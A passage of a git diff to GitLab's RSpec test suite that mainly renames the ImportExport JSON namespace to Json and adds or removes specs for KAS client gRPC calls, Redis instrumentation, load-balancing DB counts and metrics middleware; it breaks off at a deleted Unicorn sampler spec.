@@ -31,7 +31,7 @@ RSpec.describe Gitlab::ImportExport::Group::TreeSaver do
end
it 'fails to export a group' do
- allow_next_instance_of(Gitlab::ImportExport::JSON::NdjsonWriter) do |ndjson_writer|
+ allow_next_instance_of(Gitlab::ImportExport::Json::NdjsonWriter) do |ndjson_writer|
allow(ndjson_writer).to receive(:write_relation_array).and_raise(RuntimeError, 'exception')
end
diff --git a/spec/lib/gitlab/import_export/import_failure_service_spec.rb b/spec/lib/gitlab/import_export/import_failure_service_spec.rb
index c8bb067d40c..51f1fc9c6a2 100644
--- a/spec/lib/gitlab/import_export/import_failure_service_spec.rb
+++ b/spec/lib/gitlab/import_export/import_failure_service_spec.rb
@@ -43,7 +43,7 @@ RSpec.describe Gitlab::ImportExport::ImportFailureService do
let(:importable) { create(:merge_request) }
it 'raise exception' do
- expect { subject }.to raise_exception(ActiveRecord::AssociationNotFoundError, "Association named 'import_failures' was not found on MergeRequest; perhaps you misspelled it?")
+ expect { subject }.to raise_exception(ActiveRecord::AssociationNotFoundError, /Association named 'import_failures' was not found on MergeRequest/)
end
end
end
diff --git a/spec/lib/gitlab/import_export/json/legacy_reader/file_spec.rb b/spec/lib/gitlab/import_export/json/legacy_reader/file_spec.rb
index e092891f236..793b3ebfb9e 100644
--- a/spec/lib/gitlab/import_export/json/legacy_reader/file_spec.rb
+++ b/spec/lib/gitlab/import_export/json/legacy_reader/file_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
require_relative 'shared_example'
-RSpec.describe Gitlab::ImportExport::JSON::LegacyReader::File do
+RSpec.describe Gitlab::ImportExport::Json::LegacyReader::File do
it_behaves_like 'import/export json legacy reader' do
let(:valid_path) { 'spec/fixtures/lib/gitlab/import_export/light/project.json' }
let(:data) { valid_path }
diff --git a/spec/lib/gitlab/import_export/json/legacy_reader/hash_spec.rb b/spec/lib/gitlab/import_export/json/legacy_reader/hash_spec.rb
index e47122b6151..57d66dc0f50 100644
--- a/spec/lib/gitlab/import_export/json/legacy_reader/hash_spec.rb
+++ b/spec/lib/gitlab/import_export/json/legacy_reader/hash_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
require_relative 'shared_example'
-RSpec.describe Gitlab::ImportExport::JSON::LegacyReader::Hash do
+RSpec.describe Gitlab::ImportExport::Json::LegacyReader::Hash do
it_behaves_like 'import/export json legacy reader' do
let(:path) { 'spec/fixtures/lib/gitlab/import_export/light/project.json' }
diff --git a/spec/lib/gitlab/import_export/json/legacy_writer_spec.rb b/spec/lib/gitlab/import_export/json/legacy_writer_spec.rb
index eb7a2d4aa8b..ab2c4cc2059 100644
--- a/spec/lib/gitlab/import_export/json/legacy_writer_spec.rb
+++ b/spec/lib/gitlab/import_export/json/legacy_writer_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::ImportExport::JSON::LegacyWriter do
+RSpec.describe Gitlab::ImportExport::Json::LegacyWriter do
let(:path) { "#{Dir.tmpdir}/legacy_writer_spec/test.json" }
subject do
diff --git a/spec/lib/gitlab/import_export/json/ndjson_reader_spec.rb b/spec/lib/gitlab/import_export/json/ndjson_reader_spec.rb
index b477ac45577..0ca4c4ccc87 100644
--- a/spec/lib/gitlab/import_export/json/ndjson_reader_spec.rb
+++ b/spec/lib/gitlab/import_export/json/ndjson_reader_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::ImportExport::JSON::NdjsonReader do
+RSpec.describe Gitlab::ImportExport::Json::NdjsonReader do
include ImportExport::CommonUtil
let(:fixture) { 'spec/fixtures/lib/gitlab/import_export/light/tree' }
diff --git a/spec/lib/gitlab/import_export/json/ndjson_writer_spec.rb b/spec/lib/gitlab/import_export/json/ndjson_writer_spec.rb
index 2a5e802bdc5..9be95591ae9 100644
--- a/spec/lib/gitlab/import_export/json/ndjson_writer_spec.rb
+++ b/spec/lib/gitlab/import_export/json/ndjson_writer_spec.rb
@@ -2,7 +2,7 @@
require "spec_helper"
-RSpec.describe Gitlab::ImportExport::JSON::NdjsonWriter do
+RSpec.describe Gitlab::ImportExport::Json::NdjsonWriter do
include ImportExport::CommonUtil
let(:path) { "#{Dir.tmpdir}/ndjson_writer_spec/tree" }
diff --git a/spec/lib/gitlab/import_export/json/streaming_serializer_spec.rb b/spec/lib/gitlab/import_export/json/streaming_serializer_spec.rb
index a0b2faaecfe..deb22de9160 100644
--- a/spec/lib/gitlab/import_export/json/streaming_serializer_spec.rb
+++ b/spec/lib/gitlab/import_export/json/streaming_serializer_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::ImportExport::JSON::StreamingSerializer do
+RSpec.describe Gitlab::ImportExport::Json::StreamingSerializer do
let_it_be(:user) { create(:user) }
let_it_be(:release) { create(:release) }
let_it_be(:group) { create(:group) }
@@ -27,7 +27,7 @@ RSpec.describe Gitlab::ImportExport::JSON::StreamingSerializer do
end
let(:exportable_path) { 'project' }
- let(:json_writer) { instance_double('Gitlab::ImportExport::JSON::LegacyWriter') }
+ let(:json_writer) { instance_double('Gitlab::ImportExport::Json::LegacyWriter') }
let(:hash) { { name: exportable.name, description: exportable.description }.stringify_keys }
let(:include) { [] }
let(:custom_orderer) { nil }
diff --git a/spec/lib/gitlab/import_export/legacy_relation_tree_saver_spec.rb b/spec/lib/gitlab/import_export/legacy_relation_tree_saver_spec.rb
index 454cc74b9d4..3b7ed7cb32b 100644
--- a/spec/lib/gitlab/import_export/legacy_relation_tree_saver_spec.rb
+++ b/spec/lib/gitlab/import_export/legacy_relation_tree_saver_spec.rb
@@ -28,7 +28,7 @@ RSpec.describe Gitlab::ImportExport::LegacyRelationTreeSaver do
stub_feature_flags(export_reduce_relation_batch_size: true)
end
- include_examples 'FastHashSerializer with batch size', Gitlab::ImportExport::JSON::StreamingSerializer::SMALLER_BATCH_SIZE
+ include_examples 'FastHashSerializer with batch size', Gitlab::ImportExport::Json::StreamingSerializer::SMALLER_BATCH_SIZE
end
context 'when export_reduce_relation_batch_size feature flag is disabled' do
@@ -36,7 +36,7 @@ RSpec.describe Gitlab::ImportExport::LegacyRelationTreeSaver do
stub_feature_flags(export_reduce_relation_batch_size: false)
end
- include_examples 'FastHashSerializer with batch size', Gitlab::ImportExport::JSON::StreamingSerializer::BATCH_SIZE
+ include_examples 'FastHashSerializer with batch size', Gitlab::ImportExport::Json::StreamingSerializer::BATCH_SIZE
end
end
end
diff --git a/spec/lib/gitlab/import_export/project/export_task_spec.rb b/spec/lib/gitlab/import_export/project/export_task_spec.rb
index 7fcd2187a90..3dd1e9257cc 100644
--- a/spec/lib/gitlab/import_export/project/export_task_spec.rb
+++ b/spec/lib/gitlab/import_export/project/export_task_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe Gitlab::ImportExport::Project::ExportTask do
+RSpec.describe Gitlab::ImportExport::Project::ExportTask, :silence_stdout do
let_it_be(:username) { 'root' }
let(:namespace_path) { username }
let_it_be(:user) { create(:user, username: username) }
diff --git a/spec/lib/gitlab/import_export/project/import_task_spec.rb b/spec/lib/gitlab/import_export/project/import_task_spec.rb
index 90f4501acdc..c847224cb9b 100644
--- a/spec/lib/gitlab/import_export/project/import_task_spec.rb
+++ b/spec/lib/gitlab/import_export/project/import_task_spec.rb
@@ -2,7 +2,7 @@
require 'rake_helper'
-RSpec.describe Gitlab::ImportExport::Project::ImportTask, :request_store do
+RSpec.describe Gitlab::ImportExport::Project::ImportTask, :request_store, :silence_stdout do
let(:username) { 'root' }
let(:namespace_path) { username }
let!(:user) { create(:user, username: username) }
diff --git a/spec/lib/gitlab/import_export/project/sample/relation_tree_restorer_spec.rb b/spec/lib/gitlab/import_export/project/sample/relation_tree_restorer_spec.rb
index f87f79d4462..f6a028383f2 100644
--- a/spec/lib/gitlab/import_export/project/sample/relation_tree_restorer_spec.rb
+++ b/spec/lib/gitlab/import_export/project/sample/relation_tree_restorer_spec.rb
@@ -77,7 +77,7 @@ RSpec.describe Gitlab::ImportExport::Project::Sample::RelationTreeRestorer do
let(:relation_factory) { Gitlab::ImportExport::Project::Sample::RelationFactory }
let(:reader) { Gitlab::ImportExport::Reader.new(shared: shared) }
let(:path) { 'spec/fixtures/lib/gitlab/import_export/sample_data/tree' }
- let(:relation_reader) { Gitlab::ImportExport::JSON::NdjsonReader.new(path) }
+ let(:relation_reader) { Gitlab::ImportExport::Json::NdjsonReader.new(path) }
it 'initializes relation_factory with date_calculator as parameter' do
expect(Gitlab::ImportExport::Project::Sample::RelationFactory).to receive(:create).with(hash_including(:date_calculator)).at_least(:once).times
diff --git a/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb b/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb
index bc5e6ea7bb3..1b5fba85020 100644
--- a/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb
+++ b/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb
@@ -600,9 +600,8 @@ RSpec.describe Gitlab::ImportExport::Project::TreeRestorer do
setup_import_export_config('light')
setup_reader(reader)
- expect(project)
- .to receive(:merge_requests)
- .and_raise(exception)
+ expect(project).to receive(:merge_requests).and_call_original
+ expect(project).to receive(:merge_requests).and_raise(exception)
end
it 'report post import error' do
@@ -618,12 +617,9 @@ RSpec.describe Gitlab::ImportExport::Project::TreeRestorer do
setup_import_export_config('light')
setup_reader(reader)
- expect(project)
- .to receive(:merge_requests)
- .and_raise(exception)
- expect(project)
- .to receive(:merge_requests)
- .and_call_original
+ expect(project).to receive(:merge_requests).and_call_original
+ expect(project).to receive(:merge_requests).and_raise(exception)
+ expect(project).to receive(:merge_requests).and_call_original
expect(restored_project_json).to eq(true)
end
@@ -824,9 +820,9 @@ RSpec.describe Gitlab::ImportExport::Project::TreeRestorer do
end
before do
- allow_any_instance_of(Gitlab::ImportExport::JSON::LegacyReader::File).to receive(:exist?).and_return(true)
- allow_any_instance_of(Gitlab::ImportExport::JSON::NdjsonReader).to receive(:exist?).and_return(false)
- allow_any_instance_of(Gitlab::ImportExport::JSON::LegacyReader::File).to receive(:tree_hash) { tree_hash }
+ allow_any_instance_of(Gitlab::ImportExport::Json::LegacyReader::File).to receive(:exist?).and_return(true)
+ allow_any_instance_of(Gitlab::ImportExport::Json::NdjsonReader).to receive(:exist?).and_return(false)
+ allow_any_instance_of(Gitlab::ImportExport::Json::LegacyReader::File).to receive(:tree_hash) { tree_hash }
end
context 'no group visibility' do
diff --git a/spec/lib/gitlab/import_export/relation_tree_restorer_spec.rb b/spec/lib/gitlab/import_export/relation_tree_restorer_spec.rb
index d3c14b1f8fe..9325cdac9ed 100644
--- a/spec/lib/gitlab/import_export/relation_tree_restorer_spec.rb
+++ b/spec/lib/gitlab/import_export/relation_tree_restorer_spec.rb
@@ -96,7 +96,7 @@ RSpec.describe Gitlab::ImportExport::RelationTreeRestorer do
context 'using legacy reader' do
let(:path) { 'spec/fixtures/lib/gitlab/import_export/complex/project.json' }
let(:relation_reader) do
- Gitlab::ImportExport::JSON::LegacyReader::File.new(
+ Gitlab::ImportExport::Json::LegacyReader::File.new(
path,
relation_names: reader.project_relation_names,
allowed_path: 'project'
@@ -117,14 +117,14 @@ RSpec.describe Gitlab::ImportExport::RelationTreeRestorer do
context 'using ndjson reader' do
let(:path) { 'spec/fixtures/lib/gitlab/import_export/complex/tree' }
- let(:relation_reader) { Gitlab::ImportExport::JSON::NdjsonReader.new(path) }
+ let(:relation_reader) { Gitlab::ImportExport::Json::NdjsonReader.new(path) }
it_behaves_like 'import project successfully'
end
context 'with invalid relations' do
let(:path) { 'spec/fixtures/lib/gitlab/import_export/project_with_invalid_relations/tree' }
- let(:relation_reader) { Gitlab::ImportExport::JSON::NdjsonReader.new(path) }
+ let(:relation_reader) { Gitlab::ImportExport::Json::NdjsonReader.new(path) }
it 'logs the invalid relation and its errors' do
expect(relation_tree_restorer.shared.logger)
@@ -151,7 +151,7 @@ RSpec.describe Gitlab::ImportExport::RelationTreeRestorer do
let(:object_builder) { Gitlab::ImportExport::Group::ObjectBuilder }
let(:relation_factory) { Gitlab::ImportExport::Group::RelationFactory }
let(:relation_reader) do
- Gitlab::ImportExport::JSON::LegacyReader::File.new(
+ Gitlab::ImportExport::Json::LegacyReader::File.new(
path,
relation_names: reader.group_relation_names)
end
diff --git a/spec/lib/gitlab/import_export/safe_model_attributes.yml b/spec/lib/gitlab/import_export/safe_model_attributes.yml
index 70ebff2a54e..2173bee6b4b 100644
--- a/spec/lib/gitlab/import_export/safe_model_attributes.yml
+++ b/spec/lib/gitlab/import_export/safe_model_attributes.yml
@@ -102,7 +102,6 @@ ProjectLabel:
- template
- description
- priority
-- remove_on_close
Milestone:
- id
- title
@@ -702,6 +701,7 @@ ProjectSetting:
ProtectedEnvironment:
- id
- project_id
+- group_id
- name
- created_at
- updated_at
diff --git a/spec/lib/gitlab/import_export/shared_spec.rb b/spec/lib/gitlab/import_export/shared_spec.rb
index 22f2d4c5077..feeb88397eb 100644
--- a/spec/lib/gitlab/import_export/shared_spec.rb
+++ b/spec/lib/gitlab/import_export/shared_spec.rb
@@ -37,6 +37,28 @@ RSpec.describe Gitlab::ImportExport::Shared do
end
end
+ context 'with a group on disk' do
+ describe '#base_path' do
+ it 'uses hashed storage path' do
+ group = create(:group)
+ subject = described_class.new(group)
+ base_path = %(/tmp/gitlab_exports/@groups/)
+
+ expect(subject.base_path).to match(/#{base_path}\h{2}\/\h{2}\/\h{64}/)
+ end
+ end
+ end
+
+ context 'when exportable type is unsupported' do
+ describe '#base_path' do
+ it 'raises' do
+ subject = described_class.new('test')
+
+ expect { subject.base_path }.to raise_error(Gitlab::ImportExport::Error, 'Unsupported Exportable Type String')
+ end
+ end
+ end
+
describe '#error' do
let(:error) { StandardError.new('Error importing into /my/folder Permission denied @ unlink_internal - /var/opt/gitlab/gitlab-rails/shared/a/b/c/uploads/file') }
diff --git a/spec/lib/gitlab/instrumentation/redis_base_spec.rb b/spec/lib/gitlab/instrumentation/redis_base_spec.rb
index 07be0ccf6e9..a7e08b5a9bd 100644
--- a/spec/lib/gitlab/instrumentation/redis_base_spec.rb
+++ b/spec/lib/gitlab/instrumentation/redis_base_spec.rb
@@ -18,24 +18,6 @@ RSpec.describe Gitlab::Instrumentation::RedisBase, :request_store do
end
end
- describe '.known_payload_keys' do
- it 'returns generated payload keys' do
- expect(instrumentation_class_a.known_payload_keys).to eq([:redis_instance_a_calls,
- :redis_instance_a_duration_s,
- :redis_instance_a_read_bytes,
- :redis_instance_a_write_bytes])
- end
-
- it 'does not call calculation methods' do
- expect(instrumentation_class_a).not_to receive(:get_request_count)
- expect(instrumentation_class_a).not_to receive(:query_time)
- expect(instrumentation_class_a).not_to receive(:read_bytes)
- expect(instrumentation_class_a).not_to receive(:write_bytes)
-
- instrumentation_class_a.known_payload_keys
- end
- end
-
describe '.payload' do
it 'returns values that are higher than 0' do
allow(instrumentation_class_a).to receive(:get_request_count) { 1 }
diff --git a/spec/lib/gitlab/instrumentation/redis_spec.rb b/spec/lib/gitlab/instrumentation/redis_spec.rb
index e927f39cae2..6cddf958f2a 100644
--- a/spec/lib/gitlab/instrumentation/redis_spec.rb
+++ b/spec/lib/gitlab/instrumentation/redis_spec.rb
@@ -26,46 +26,6 @@ RSpec.describe Gitlab::Instrumentation::Redis do
it_behaves_like 'aggregation of redis storage data', :read_bytes
it_behaves_like 'aggregation of redis storage data', :write_bytes
- describe '.known_payload_keys' do
- it 'returns all known payload keys' do
- expected_keys = [
- :redis_calls,
- :redis_duration_s,
- :redis_read_bytes,
- :redis_write_bytes,
- :redis_action_cable_calls,
- :redis_action_cable_duration_s,
- :redis_action_cable_read_bytes,
- :redis_action_cable_write_bytes,
- :redis_cache_calls,
- :redis_cache_duration_s,
- :redis_cache_read_bytes,
- :redis_cache_write_bytes,
- :redis_queues_calls,
- :redis_queues_duration_s,
- :redis_queues_read_bytes,
- :redis_queues_write_bytes,
- :redis_shared_state_calls,
- :redis_shared_state_duration_s,
- :redis_shared_state_read_bytes,
- :redis_shared_state_write_bytes
- ]
-
- expect(described_class.known_payload_keys).to eq(expected_keys)
- end
-
- it 'does not call storage calculation methods' do
- described_class::STORAGES.each do |storage|
- expect(storage).not_to receive(:get_request_count)
- expect(storage).not_to receive(:query_time)
- expect(storage).not_to receive(:read_bytes)
- expect(storage).not_to receive(:write_bytes)
- end
-
- described_class.known_payload_keys
- end
- end
-
describe '.payload', :request_store do
before do
Gitlab::Redis::Cache.with { |redis| redis.set('cache-test', 321) }
@@ -108,7 +68,8 @@ RSpec.describe Gitlab::Instrumentation::Redis do
.to contain_exactly(details_row.merge(storage: 'ActionCable'),
details_row.merge(storage: 'Cache'),
details_row.merge(storage: 'Queues'),
- details_row.merge(storage: 'SharedState'))
+ details_row.merge(storage: 'SharedState'),
+ details_row.merge(storage: 'TraceChunks'))
end
end
end
diff --git a/spec/lib/gitlab/instrumentation_helper_spec.rb b/spec/lib/gitlab/instrumentation_helper_spec.rb
index 488324ccddc..28ae90d4947 100644
--- a/spec/lib/gitlab/instrumentation_helper_spec.rb
+++ b/spec/lib/gitlab/instrumentation_helper_spec.rb
@@ -117,6 +117,42 @@ RSpec.describe Gitlab::InstrumentationHelper do
end
end
end
+
+ context 'when load balancing is enabled' do
+ include_context 'clear DB Load Balancing configuration'
+
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(true)
+ end
+
+ it 'includes DB counts' do
+ subject
+
+ expect(payload).to include(db_replica_count: 0,
+ db_replica_cached_count: 0,
+ db_primary_count: 0,
+ db_primary_cached_count: 0,
+ db_primary_wal_count: 0,
+ db_replica_wal_count: 0)
+ end
+ end
+
+ context 'when load balancing is disabled' do
+ before do
+ allow(Gitlab::Database::LoadBalancing).to receive(:enable?).and_return(false)
+ end
+
+ it 'does not include DB counts' do
+ subject
+
+ expect(payload).not_to include(db_replica_count: 0,
+ db_replica_cached_count: 0,
+ db_primary_count: 0,
+ db_primary_cached_count: 0,
+ db_primary_wal_count: 0,
+ db_replica_wal_count: 0)
+ end
+ end
end
describe '.queue_duration_for_job' do
diff --git a/spec/lib/gitlab/json_spec.rb b/spec/lib/gitlab/json_spec.rb
index 42c4b315edf..f9f57752b0a 100644
--- a/spec/lib/gitlab/json_spec.rb
+++ b/spec/lib/gitlab/json_spec.rb
@@ -411,7 +411,7 @@ RSpec.describe Gitlab::Json do
end
describe Gitlab::Json::LimitedEncoder do
- subject { described_class.encode(obj, limit: 8.kilobytes) }
+ subject { described_class.encode(obj, limit: 10.kilobytes) }
context 'when object size is acceptable' do
let(:obj) { { test: true } }
@@ -431,6 +431,16 @@ RSpec.describe Gitlab::Json do
end
end
+ context 'when object contains ASCII-8BIT encoding' do
+ let(:obj) { [{ a: "\x8F" }] * 1000 }
+
+ it 'does not raise encoding error' do
+ expect { subject }.not_to raise_error
+ expect(subject).to be_a(String)
+ expect(subject.size).to eq(10001)
+ end
+ end
+
context 'when json_limited_encoder is disabled' do
let(:obj) { [{ test: true }] * 1000 }
diff --git a/spec/lib/gitlab/kas/client_spec.rb b/spec/lib/gitlab/kas/client_spec.rb
new file mode 100644
index 00000000000..7bf2d30ca48
--- /dev/null
+++ b/spec/lib/gitlab/kas/client_spec.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Kas::Client do
+ let_it_be(:project) { create(:project) }
+
+ describe '#initialize' do
+ context 'kas is not enabled' do
+ before do
+ allow(Gitlab::Kas).to receive(:enabled?).and_return(false)
+ end
+
+ it 'raises a configuration error' do
+ expect { described_class.new }.to raise_error(described_class::ConfigurationError, 'GitLab KAS is not enabled')
+ end
+ end
+
+ context 'internal url is not set' do
+ before do
+ allow(Gitlab::Kas).to receive(:enabled?).and_return(true)
+ allow(Gitlab::Kas).to receive(:internal_url).and_return(nil)
+ end
+
+ it 'raises a configuration error' do
+ expect { described_class.new }.to raise_error(described_class::ConfigurationError, 'KAS internal URL is not configured')
+ end
+ end
+ end
+
+ describe 'gRPC calls' do
+ let(:token) { instance_double(JSONWebToken::HMACToken, encoded: 'test-token') }
+
+ before do
+ allow(Gitlab::Kas).to receive(:enabled?).and_return(true)
+ allow(Gitlab::Kas).to receive(:internal_url).and_return('grpc://example.kas.internal')
+
+ expect(JSONWebToken::HMACToken).to receive(:new)
+ .with(Gitlab::Kas.secret)
+ .and_return(token)
+
+ expect(token).to receive(:issuer=).with(Settings.gitlab.host)
+ expect(token).to receive(:audience=).with(described_class::JWT_AUDIENCE)
+ end
+
+ describe '#list_agent_config_files' do
+ let(:stub) { instance_double(Gitlab::Agent::ConfigurationProject::Rpc::ConfigurationProject::Stub) }
+
+ let(:request) { instance_double(Gitlab::Agent::ConfigurationProject::Rpc::ListAgentConfigFilesRequest) }
+ let(:response) { double(Gitlab::Agent::ConfigurationProject::Rpc::ListAgentConfigFilesResponse, config_files: agent_configurations) }
+
+ let(:repository) { instance_double(Gitlab::Agent::Modserver::Repository) }
+ let(:gitaly_address) { instance_double(Gitlab::Agent::Modserver::GitalyAddress) }
+
+ let(:agent_configurations) { [double] }
+
+ subject { described_class.new.list_agent_config_files(project: project) }
+
+ before do
+ expect(Gitlab::Agent::ConfigurationProject::Rpc::ConfigurationProject::Stub).to receive(:new)
+ .with('example.kas.internal', :this_channel_is_insecure, timeout: described_class::TIMEOUT)
+ .and_return(stub)
+
+ expect(Gitlab::Agent::Modserver::Repository).to receive(:new)
+ .with(project.repository.gitaly_repository.to_h)
+ .and_return(repository)
+
+ expect(Gitlab::Agent::Modserver::GitalyAddress).to receive(:new)
+ .with(Gitlab::GitalyClient.connection_data(project.repository_storage))
+ .and_return(gitaly_address)
+
+ expect(Gitlab::Agent::ConfigurationProject::Rpc::ListAgentConfigFilesRequest).to receive(:new)
+ .with(repository: repository, gitaly_address: gitaly_address)
+ .and_return(request)
+
+ expect(stub).to receive(:list_agent_config_files)
+ .with(request, metadata: { 'authorization' => 'bearer test-token' })
+ .and_return(response)
+ end
+
+ it { expect(subject).to eq(agent_configurations) }
+ end
+ end
+end
diff --git a/spec/lib/gitlab/kas_spec.rb b/spec/lib/gitlab/kas_spec.rb
index e323f76b42e..c9d40f785b8 100644
--- a/spec/lib/gitlab/kas_spec.rb
+++ b/spec/lib/gitlab/kas_spec.rb
@@ -65,6 +65,12 @@ RSpec.describe Gitlab::Kas do
end
end
+ describe '.internal_url' do
+ it 'returns gitlab_kas internal_url config' do
+ expect(described_class.internal_url).to eq(Gitlab.config.gitlab_kas.internal_url)
+ end
+ end
+
describe '.version' do
it 'returns gitlab_kas version config' do
version_file = Rails.root.join(described_class::VERSION_FILE)
diff --git a/spec/lib/gitlab/kubernetes/helm/parsers/list_v2_spec.rb b/spec/lib/gitlab/kubernetes/helm/parsers/list_v2_spec.rb
deleted file mode 100644
index 435c296d5f1..00000000000
--- a/spec/lib/gitlab/kubernetes/helm/parsers/list_v2_spec.rb
+++ /dev/null
@@ -1,100 +0,0 @@
-# frozen_string_literal: true
-
-require 'fast_spec_helper'
-
-RSpec.describe Gitlab::Kubernetes::Helm::Parsers::ListV2 do
- let(:valid_file_contents) do
- <<~EOF
- {
- "Next": "",
- "Releases": [
- {
- "Name": "certmanager",
- "Revision": 2,
- "Updated": "Sun Mar 29 06:55:42 2020",
- "Status": "DEPLOYED",
- "Chart": "cert-manager-v0.10.1",
- "AppVersion": "v0.10.1",
- "Namespace": "gitlab-managed-apps"
- },
- {
- "Name": "certmanager-crds",
- "Revision": 2,
- "Updated": "Sun Mar 29 06:55:32 2020",
- "Status": "DEPLOYED",
- "Chart": "cert-manager-crds-v0.2.0",
- "AppVersion": "release-0.10",
- "Namespace": "gitlab-managed-apps"
- },
- {
- "Name": "certmanager-issuer",
- "Revision": 1,
- "Updated": "Tue Feb 18 10:04:04 2020",
- "Status": "FAILED",
- "Chart": "cert-manager-issuer-v0.1.0",
- "AppVersion": "",
- "Namespace": "gitlab-managed-apps"
- },
- {
- "Name": "runner",
- "Revision": 2,
- "Updated": "Sun Mar 29 07:01:01 2020",
- "Status": "DEPLOYED",
- "Chart": "gitlab-runner-0.14.0",
- "AppVersion": "12.8.0",
- "Namespace": "gitlab-managed-apps"
- }
- ]
- }
- EOF
- end
-
- describe '#initialize' do
- it 'initializes without error' do
- expect do
- described_class.new(valid_file_contents)
- end.not_to raise_error
- end
-
- it 'raises an error on invalid JSON' do
- expect do
- described_class.new('')
- end.to raise_error(described_class::ParserError)
- end
- end
-
- describe '#releases' do
- subject(:list_v2) { described_class.new(valid_file_contents) }
-
- it 'returns list of releases' do
- expect(list_v2.releases).to match([
- a_hash_including('Name' => 'certmanager', 'Status' => 'DEPLOYED'),
- a_hash_including('Name' => 'certmanager-crds', 'Status' => 'DEPLOYED'),
- a_hash_including('Name' => 'certmanager-issuer', 'Status' => 'FAILED'),
- a_hash_including('Name' => 'runner', 'Status' => 'DEPLOYED')
- ])
- end
-
- context 'empty Releases' do
- let(:valid_file_contents) { '{}' }
-
- it 'returns an empty array' do
- expect(list_v2.releases).to eq([])
- end
- end
-
- context 'invalid Releases' do
- let(:invalid_file_contents) do
- '{ "Releases" : ["a", "b"] }'
- end
-
- subject(:list_v2) { described_class.new(invalid_file_contents) }
-
- it 'raises an error' do
- expect do
- list_v2.releases
- end.to raise_error(described_class::ParserError, 'Invalid format for Releases')
- end
- end
- end
-end
diff --git a/spec/lib/gitlab/mail_room/mail_room_spec.rb b/spec/lib/gitlab/mail_room/mail_room_spec.rb
index ab9a9a035f1..a42da4ad3e0 100644
--- a/spec/lib/gitlab/mail_room/mail_room_spec.rb
+++ b/spec/lib/gitlab/mail_room/mail_room_spec.rb
@@ -33,6 +33,10 @@ RSpec.describe Gitlab::MailRoom do
described_class.instance_variable_set(:@enabled_configs, nil)
end
+ after do
+ described_class.instance_variable_set(:@enabled_configs, nil)
+ end
+
describe '#enabled_configs' do
before do
allow(described_class).to receive(:load_yaml).and_return(configs)
diff --git a/spec/lib/gitlab/markdown_cache/field_data_spec.rb b/spec/lib/gitlab/markdown_cache/field_data_spec.rb
index 76d8cbe6b7d..6d4b57254f2 100644
--- a/spec/lib/gitlab/markdown_cache/field_data_spec.rb
+++ b/spec/lib/gitlab/markdown_cache/field_data_spec.rb
@@ -12,4 +12,11 @@ RSpec.describe Gitlab::MarkdownCache::FieldData do
it 'translates a markdown field name into a html field name' do
expect(field_data.html_field(:description)).to eq("description_html")
end
+
+ describe '#key?' do
+ specify do
+ expect(field_data.key?(:description)).to be_truthy
+ expect(field_data.key?(:something_else)).to be_falsy
+ end
+ end
end
diff --git a/spec/lib/gitlab/metrics/requests_rack_middleware_spec.rb b/spec/lib/gitlab/metrics/requests_rack_middleware_spec.rb
index 1f7daaa308d..9d5c4bdf9e2 100644
--- a/spec/lib/gitlab/metrics/requests_rack_middleware_spec.rb
+++ b/spec/lib/gitlab/metrics/requests_rack_middleware_spec.rb
@@ -7,8 +7,16 @@ RSpec.describe Gitlab::Metrics::RequestsRackMiddleware, :aggregate_failures do
subject { described_class.new(app) }
+ around do |example|
+ # Simulate application context middleware
+ # In fact, this middleware cleans up the contexts after a request lifecycle
+ ::Gitlab::ApplicationContext.with_context({}) do
+ example.run
+ end
+ end
+
describe '#call' do
- let(:status) { 100 }
+ let(:status) { 200 }
let(:env) { { 'REQUEST_METHOD' => 'GET' } }
let(:stack_result) { [status, {}, 'body'] }
@@ -71,6 +79,17 @@ RSpec.describe Gitlab::Metrics::RequestsRackMiddleware, :aggregate_failures do
end
end
+ context '@app.call returns an error code' do
+ let(:status) { '500' }
+
+ it 'tracks count but not duration' do
+ expect(described_class).to receive_message_chain(:http_requests_total, :increment).with(method: 'get', status: '500', feature_category: 'unknown')
+ expect(described_class).not_to receive(:http_request_duration_seconds)
+
+ subject.call(env)
+ end
+ end
+
context '@app.call throws exception' do
let(:http_request_duration_seconds) { double('http_request_duration_seconds') }
let(:http_requests_total) { double('http_requests_total') }
@@ -91,9 +110,9 @@ RSpec.describe Gitlab::Metrics::RequestsRackMiddleware, :aggregate_failures do
end
context 'feature category header' do
- context 'when a feature category header is present' do
+ context 'when a feature category context is present' do
before do
- allow(app).to receive(:call).and_return([200, { described_class::FEATURE_CATEGORY_HEADER => 'issue_tracking' }, nil])
+ ::Gitlab::ApplicationContext.push(feature_category: 'issue_tracking')
end
it 'adds the feature category to the labels for http_requests_total' do
@@ -113,11 +132,20 @@ RSpec.describe Gitlab::Metrics::RequestsRackMiddleware, :aggregate_failures do
end
end
- context 'when the feature category header is an empty string' do
+ context 'when application raises an exception when the feature category context is present' do
before do
- allow(app).to receive(:call).and_return([200, { described_class::FEATURE_CATEGORY_HEADER => '' }, nil])
+ ::Gitlab::ApplicationContext.push(feature_category: 'issue_tracking')
+ allow(app).to receive(:call).and_raise(StandardError)
end
+ it 'adds the feature category to the labels for http_requests_total' do
+ expect(described_class).to receive_message_chain(:http_requests_total, :increment).with(method: 'get', status: 'undefined', feature_category: 'issue_tracking')
+
+ expect { subject.call(env) }.to raise_error(StandardError)
+ end
+ end
+
+ context 'when the feature category context is not available' do
it 'sets the feature category to unknown' do
expect(described_class).to receive_message_chain(:http_requests_total, :increment).with(method: 'get', status: '200', feature_category: 'unknown')
expect(described_class).not_to receive(:http_health_requests_total)
diff --git a/spec/lib/gitlab/metrics/samplers/unicorn_sampler_spec.rb b/spec/lib/gitlab/metrics/samplers/unicorn_sampler_spec.rb
deleted file mode 100644
index 7971a7cabd5..00000000000
--- a/spec/lib/gitlab/metrics/samplers/unicorn_sampler_spec.rb
+++ /dev/null
@@ -1,141 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::Metrics::Samplers::UnicornSampler do
